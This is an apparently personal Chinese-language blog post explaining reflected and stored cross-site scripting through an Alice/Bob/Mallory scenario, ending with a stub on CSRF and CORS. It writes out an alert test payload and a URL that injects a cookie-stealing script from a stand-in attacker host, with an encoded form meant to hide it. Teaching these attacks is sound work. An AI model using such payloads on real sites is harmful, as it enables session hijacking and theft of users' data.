scribble

466300750.github.io

Blog GitHub

20 Nov 2018
XSS

Cross-site scripting(XSS)

分类:

  • non-persistent
  • persistent

Non-persistent(reflected)

比较常见的是在HTTP查询参数里面,服务器脚本立马解析并展示结果到客户端,而没有经过合适的sanitize.

举个例子:

  1. Alice经常访问Bob的网站,该网站允许Alice通过用户名和密码进行登录,并且存储敏感的数据。当用户登录的时候,浏览器会存储一个Authorization Cookie。
  2. Mallory发现Bob的网站有个reflected XSS 漏洞——http://bobssite.org?q=her search term, 当她提交一个异常请求http://bobssite.org?q=<script type='text/javascript'>alert('xss');</script>,返回的结果是<script type='text/javascript'>alert('xss');</script> not found,并且弹出一个alert框。
  3. 所以她决定提交异常的请求,http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>,她可以通过ASCII编码,使肉眼不能立马识别http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
  4. 她发送邮件给Alice,链接说“Check out some cute puppies!”,Alice点击该链接,跳转到Bob的网站,返回说“puppies not found”,然后脚本开始运行,脚本在Alice的浏览器上运行,就好像它 originated from Bob的网站,偷取Alice的Authorization Cookie,然后发送到Mallory的服务器。
  5. Mallory利用Alice的认证信息,到Bob的网站假装是Alice进行各种操作。

Persistent(or stored)

举个例子:一个约会网站,可以浏览其他member的profile,为了隐私保护,网站隐藏了每个人的真实姓名和邮箱,只有当member登录了之后才能看到自己的真实姓名和邮箱。Mallory作为attacker,她写了一个脚本,该脚本会在其他人访问自己的profile时运行,获取到真实的姓名和邮箱后发送给自己。比如说,对于问题“描述你理想的第一次约会”,Mallory给出了一个简单的回答,在后面附加了自己的那段脚本代码。Bob,访问Mallory的profile,上面有她关于第一次约会的回答,脚本就会自动运行,然后copy Bob的真实姓名和邮箱。

CSRF & CORS

  1. CSRF - Cross-Site Request Forgery - 跨站请求伪造

  2. CORS - Cross Origin Resourse-Sharing - 跨站资源共享


Til next time,
at 09:42

scribble